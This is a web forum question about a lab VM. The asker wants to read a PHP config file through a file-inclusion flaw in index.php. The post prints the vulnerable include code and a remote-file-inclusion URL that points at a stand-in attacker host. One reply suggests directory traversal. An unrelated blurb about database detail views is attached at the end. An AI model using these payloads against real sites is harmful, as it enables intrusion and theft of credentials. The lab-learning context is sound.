    <p>I'm trying to exploit some web vulnerabilities in a sample website running inside a VM (it is not available on the web - only for educational purposes). I have a php file named <code>setupreset.php</code> which has the information about MySQL configs, setup and passwords used to setup the website. This is in the same directory as the rest of the php files (index, products, forum, etc...).</p> <p>This is the code of index.php, for reference: </p> <pre><code>&lt;?php include ("includes/header.php"); // Grab inputs $page = $_GET[page]; if ($page=="") { include("home.html"); } else { include ($page . '.php'); } include ("includes/footer.php"); ?&gt; </code></pre> <p>The main goal is to list the contents of the <code>setupreset</code> PHP file, or download it somehow. If I navigate to this file: <code>http://10.211.55.5/index.php?page=setupreset</code>, it gets executed, but the PHP code is naturally not shown, due to the fact that it is parsed by the PHP interpreter. </p> <p>Now, the website uses PHP <code>include</code>s, so URLs look like this: <code>http://10.211.55.5/index.php?page=products</code>. This seems like it's vulnerable to remote file inclusion, where I could simply point to another PHP page, e.g. <code>http://10.211.55.5/index.php?page=http://badwebsite.com/myevilscript.php</code> but <code>allow_url_include</code> is <code>off</code> and cannot be changed, so this won't work (I tried this). However, <code>allow_url_fopen</code> is likely on (since it's on by default), so my question is the following: is it possible to upload a PHP file or some script that lists the content of <code>setupreset.php</code> using this kind of exploit? </p>

    1. COIt's not parsed by the browser. It's parsed by the PHP interpreter. The browser only displays it. Did you try a directory traversal? This might work…

A row detail

Detail views are divided into sections. All the information in the data section comes from columns in the selected row. The other sections display data from other, related rows.

Related data can be related in a to-one or a to-many fashion. Captions of data related in a to-many fashion link to a list view showing a filtered view of the table.

Try moving around until you find a non-empty to-many entry and click on the label to get to one. You can move back to the root by clicking on the database name in the header.
